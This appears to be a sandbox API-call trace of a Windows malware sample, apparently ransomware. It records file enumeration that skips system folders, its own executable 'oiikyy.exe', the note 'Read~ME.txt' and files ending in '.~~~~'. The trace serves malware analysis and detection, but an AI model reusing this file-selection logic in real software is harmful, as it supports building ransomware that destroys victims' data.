	[0068.074] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.074] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.074] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.074] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.074] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.074] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.074] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.074] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.074] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1
	[0068.074] lstrcmpiW (lpString1="base.xml", lpString2="Windows") returned -1
	[0068.074] lstrcmpW (lpString1="base.xml", lpString2="oiikyy.exe") returned -1
	[0068.074] StrStrW (lpFirst="base.xml", lpSrch=".~~~~") returned 0x0
	[0068.074] lstrcmpW (lpString1="base.xml", lpString2="Read~ME.txt") returned -1
	[0068.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.074] GetCurrentThreadId () returned 0x618
	[0068.074] RtlWakeConditionVariable () returned 0x365f48
	[0068.074] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1
	[0068.075] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="Windows") returned -1
	[0068.075] lstrcmpW (lpString1="baseAltGr_rtl.xml", lpString2="oiikyy.exe") returned -1
	[0068.075] StrStrW (lpFirst="baseAltGr_rtl.xml", lpSrch=".~~~~") returned 0x0
	[0068.075] lstrcmpW (lpString1="baseAltGr_rtl.xml", lpString2="Read~ME.txt") returned -1
	[0068.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.075] GetCurrentThreadId () returned 0x618
	[0068.075] RtlWakeConditionVariable () returned 0x365f48
	[0068.075] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1
	[0068.075] lstrcmpiW (lpString1="base_altgr.xml", lpString2="Windows") returned -1
	[0068.075] lstrcmpW (lpString1="base_altgr.xml", lpString2="oiikyy.exe") returned -1
	[0068.075] StrStrW (lpFirst="base_altgr.xml", lpSrch=".~~~~") returned 0x0
	[0068.075] lstrcmpW (lpString1="base_altgr.xml", lpString2="Read~ME.txt") returned -1
	[0068.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.075] GetCurrentThreadId () returned 0x618
	[0068.075] RtlWakeConditionVariable () returned 0x365f48
	[0068.075] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1
	[0068.075] lstrcmpiW (lpString1="base_ca.xml", lpString2="Windows") returned -1
	[0068.075] lstrcmpW (lpString1="base_ca.xml", lpString2="oiikyy.exe") returned -1
	[0068.075] StrStrW (lpFirst="base_ca.xml", lpSrch=".~~~~") returned 0x0
	[0068.075] lstrcmpW (lpString1="base_ca.xml", lpString2="Read~ME.txt") returned -1
	[0068.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.075] GetCurrentThreadId () returned 0x618
	[0068.076] RtlWakeConditionVariable () returned 0x365f48
	[0068.076] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1
	[0068.076] lstrcmpiW (lpString1="base_heb.xml", lpString2="Windows") returned -1
	[0068.076] lstrcmpW (lpString1="base_heb.xml", lpString2="oiikyy.exe") returned -1
	[0068.076] StrStrW (lpFirst="base_heb.xml", lpSrch=".~~~~") returned 0x0
	[0068.076] lstrcmpW (lpString1="base_heb.xml", lpString2="Read~ME.txt") returned -1
	[0068.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.076] GetCurrentThreadId () returned 0x618
	[0068.076] RtlWakeConditionVariable () returned 0x365f48
	[0068.076] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1
	[0068.076] lstrcmpiW (lpString1="base_jpn.xml", lpString2="Windows") returned -1
	[0068.076] lstrcmpW (lpString1="base_jpn.xml", lpString2="oiikyy.exe") returned -1
	[0068.076] StrStrW (lpFirst="base_jpn.xml", lpSrch=".~~~~") returned 0x0
	[0068.076] lstrcmpW (lpString1="base_jpn.xml", lpString2="Read~ME.txt") returned -1
	[0068.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.076] GetCurrentThreadId () returned 0x618
	[0068.076] RtlWakeConditionVariable () returned 0x365f48
	[0068.076] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1
	[0068.076] lstrcmpiW (lpString1="base_kor.xml", lpString2="Windows") returned -1
	[0068.076] lstrcmpW (lpString1="base_kor.xml", lpString2="oiikyy.exe") returned -1
	[0068.076] StrStrW (lpFirst="base_kor.xml", lpSrch=".~~~~") returned 0x0
	[0068.076] lstrcmpW (lpString1="base_kor.xml", lpString2="Read~ME.txt") returned -1
	[0068.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.076] GetCurrentThreadId () returned 0x618
	[0068.077] RtlWakeConditionVariable () returned 0x365f48
	[0068.077] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1
	[0068.077] lstrcmpiW (lpString1="base_rtl.xml", lpString2="Windows") returned -1
	[0068.077] lstrcmpW (lpString1="base_rtl.xml", lpString2="oiikyy.exe") returned -1
	[0068.077] StrStrW (lpFirst="base_rtl.xml", lpSrch=".~~~~") returned 0x0
	[0068.077] lstrcmpW (lpString1="base_rtl.xml", lpString2="Read~ME.txt") returned -1
	[0068.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.077] GetCurrentThreadId () returned 0x618
	[0068.077] RtlWakeConditionVariable () returned 0x365f48
	[0068.077] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1
	[0068.077] lstrcmpiW (lpString1="ja-jp.xml", lpString2="Windows") returned -1
	[0068.077] lstrcmpW (lpString1="ja-jp.xml", lpString2="oiikyy.exe") returned -1
	[0068.077] StrStrW (lpFirst="ja-jp.xml", lpSrch=".~~~~") returned 0x0
	[0068.077] lstrcmpW (lpString1="ja-jp.xml", lpString2="Read~ME.txt") returned -1
	[0068.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.077] GetCurrentThreadId () returned 0x618
	[0068.077] RtlWakeConditionVariable () returned 0x365f48
	[0068.077] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1
	[0068.077] lstrcmpiW (lpString1="ko-kr.xml", lpString2="Windows") returned -1
	[0068.077] lstrcmpW (lpString1="ko-kr.xml", lpString2="oiikyy.exe") returned -1
	[0068.077] StrStrW (lpFirst="ko-kr.xml", lpSrch=".~~~~") returned 0x0
	[0068.077] lstrcmpW (lpString1="ko-kr.xml", lpString2="Read~ME.txt") returned -1
	[0068.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.077] GetCurrentThreadId () returned 0x618
	[0068.077] RtlWakeConditionVariable () returned 0x365f48
	[0068.077] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1
	[0068.077] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="Windows") returned 1
	[0068.077] lstrcmpW (lpString1="zh-changjei.xml", lpString2="oiikyy.exe") returned 1
	[0068.077] StrStrW (lpFirst="zh-changjei.xml", lpSrch=".~~~~") returned 0x0
	[0068.078] lstrcmpW (lpString1="zh-changjei.xml", lpString2="Read~ME.txt") returned 1
	[0068.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.078] GetCurrentThreadId () returned 0x618
	[0068.078] RtlWakeConditionVariable () returned 0x365f48
	[0068.078] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1
	[0068.078] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="Windows") returned 1
	[0068.078] lstrcmpW (lpString1="zh-dayi.xml", lpString2="oiikyy.exe") returned 1
	[0068.078] StrStrW (lpFirst="zh-dayi.xml", lpSrch=".~~~~") returned 0x0
	[0068.078] lstrcmpW (lpString1="zh-dayi.xml", lpString2="Read~ME.txt") returned 1
	[0068.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.078] GetCurrentThreadId () returned 0x618
	[0068.078] RtlWakeConditionVariable () returned 0x365f48
	[0068.078] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1
	[0068.078] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="Windows") returned 1
	[0068.078] lstrcmpW (lpString1="zh-phonetic.xml", lpString2="oiikyy.exe") returned 1
	[0068.078] StrStrW (lpFirst="zh-phonetic.xml", lpSrch=".~~~~") returned 0x0
	[0068.078] lstrcmpW (lpString1="zh-phonetic.xml", lpString2="Read~ME.txt") returned 1
	[0068.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.078] GetCurrentThreadId () returned 0x618
	[0068.078] RtlWakeConditionVariable () returned 0x365f48
	[0068.078] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0
	[0068.078] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0068.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.079] GetCurrentThreadId () returned 0x618
	[0068.079] RtlWakeConditionVariable () returned 0x365f48
	[0068.081] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0068.081] lstrcmpiW (lpString1="main.xml", lpString2="Windows") returned -1
	[0068.081] lstrcmpW (lpString1="main.xml", lpString2="oiikyy.exe") returned -1
	[0068.081] StrStrW (lpFirst="main.xml", lpSrch=".~~~~") returned 0x0
	[0068.081] lstrcmpW (lpString1="main.xml", lpString2="Read~ME.txt") returned -1
	[0068.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.081] GetCurrentThreadId () returned 0x618
	[0068.081] RtlWakeConditionVariable () returned 0x365f48
	[0068.081] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1
	[0068.081] lstrcmpiW (lpString1="numbers", lpString2="Windows") returned -1
	[0068.081] lstrcmpW (lpString1="numbers", lpString2=".") returned 1
	[0068.081] lstrcmpW (lpString1="numbers", lpString2="..") returned 1
	[0068.081] lstrcmpW (lpString1="numbers", lpString2="AppData") returned 1
	[0068.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", lpSrch="AppData") returned 0x0
	[0068.081] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.081] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", lpString2="C:\\Windows") returned -1
	[0068.081] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.081] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", lpString2="C:\\System Volume Information") returned -1
	[0068.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0068.082] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.082] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.082] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.082] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.082] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.082] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.082] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.082] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.082] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.082] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.083] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.083] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.083] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1
	[0068.083] lstrcmpiW (lpString1="numbase.xml", lpString2="Windows") returned -1
	[0068.083] lstrcmpW (lpString1="numbase.xml", lpString2="oiikyy.exe") returned -1
	[0068.083] StrStrW (lpFirst="numbase.xml", lpSrch=".~~~~") returned 0x0
	[0068.083] lstrcmpW (lpString1="numbase.xml", lpString2="Read~ME.txt") returned -1
	[0068.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.083] GetCurrentThreadId () returned 0x618
	[0068.083] RtlWakeConditionVariable () returned 0x365f48
	[0068.083] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0
	[0068.083] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0068.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.083] GetCurrentThreadId () returned 0x618
	[0068.083] RtlWakeConditionVariable () returned 0x365f48
	[0068.083] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1
	[0068.083] lstrcmpiW (lpString1="numbers.xml", lpString2="Windows") returned -1
	[0068.083] lstrcmpW (lpString1="numbers.xml", lpString2="oiikyy.exe") returned -1
	[0068.083] StrStrW (lpFirst="numbers.xml", lpSrch=".~~~~") returned 0x0
	[0068.083] lstrcmpW (lpString1="numbers.xml", lpString2="Read~ME.txt") returned -1
	[0068.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.083] GetCurrentThreadId () returned 0x618
	[0068.083] RtlWakeConditionVariable () returned 0x365f48
	[0068.084] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1
	[0068.084] lstrcmpiW (lpString1="oskmenu", lpString2="Windows") returned -1
	[0068.084] lstrcmpW (lpString1="oskmenu", lpString2=".") returned 1
	[0068.084] lstrcmpW (lpString1="oskmenu", lpString2="..") returned 1
	[0068.084] lstrcmpW (lpString1="oskmenu", lpString2="AppData") returned 1
	[0068.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", lpSrch="AppData") returned 0x0
	[0068.084] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.084] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", lpString2="C:\\Windows") returned -1
	[0068.084] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.084] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", lpString2="C:\\System Volume Information") returned -1
	[0068.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.084] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0068.357] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.357] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.357] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.357] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.357] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
